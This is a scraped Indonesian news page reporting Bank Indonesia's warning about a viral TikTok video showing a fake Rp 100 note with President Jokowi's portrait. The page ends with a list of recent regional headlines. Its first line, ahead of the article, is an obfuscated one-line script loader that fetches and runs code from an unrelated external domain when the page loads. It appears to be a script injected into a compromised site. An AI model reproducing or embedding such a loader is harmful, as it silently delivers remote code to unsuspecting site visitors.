(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Viral

Viral Video Uang Rp 100 Bergambar Jokowi, BI : Hati-hati Urusan Ini


KANALKALIMANTAN.COM – Sebuah video viral di media sosial karena menampilkan uang pecahan Rp 100 bergambar Presiden Jokowi.

Dalam unggahan video itu disebutkan bahwa pecahan uang kertas Rp 100 tersebut berlatarbelakang Istana Negara dan Presiden Jokowi sebagai modelnya.

Disebutkan pula bahwa uang tersebut adalah uang redenominasi atau penyederhanaan nilai mata uang menjadi lebih kecil tanpa mengubah nilai tukarnya

Dalam hal ini, Bank Indonesia (BI) mengingatkan kepada semua pihak agar berhati-hati terkait dengan isu redenominasi nilai tukar rupiah. Menurut BI, rupiah adalah lambang kedaulatan NKRI.

 

Adapun, keberadaan nilai tukar rupiah diatur dalam Undang-undang Nomor 7 Tahun 2011 tentang Mata Uang. Dalam aturan, akan ada sanksi jika mengubah desain nilai tukar rupiah.

“Kami ingin ajak masyarakat untuk berhati-hati urusan ini. Bagaimanapun Rupiah adalah lambang kedaulatan NKRI,” ujar Kepala Departemen Komunikasi BI Erwin Haryono kepada Suara.com, Selasa (9/2/2021).

Setelah dimonitor, tutur Erwin, pembuat video hanya iseng semata agar videonya bisa viral. Ia melanjutkan, pembuat video juga telah meminta maaf terkait dengan video viral tersebut.

Kendati begitu, Erwin tak merinci langkah selanjutnya terkait kasus tersebut. Namun, ia meminta kepada pelaku agar menghapus video yang tengah viral tersebut.

“Yang pasti uang bergambar Pak Presiden yang lagi viral itu bukan dari BI tapi kami monitor. Kelihatannya ini anak-anak iseng di Tiktok terus masuk Instagram dan juga FB. Kami dengar yang membuat sudah minta maaf. Lebih bagus lagi kalau dihapus,” ucap dia.

Diketahui, Video tentang uang redenominasi tersebut dibagikan oleh kreator TikTok bernama @aku.ijot dan telah ditonton lebih dari 8,4 juta kali.

Unggahan itu berisi narasi “Katanya Indonesia mau Redenominasi. Jadi mata uangnya mau di kecilin nominalnya, kaya Dollar gitu. Rp 1000 = Rp 1, Rp 50.000 = Rp 50, Rp 100.000 = Rp 100. Gimana? pada setuju?,” tulis keterangan tersebut. (suara.com)


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

20 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

2 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.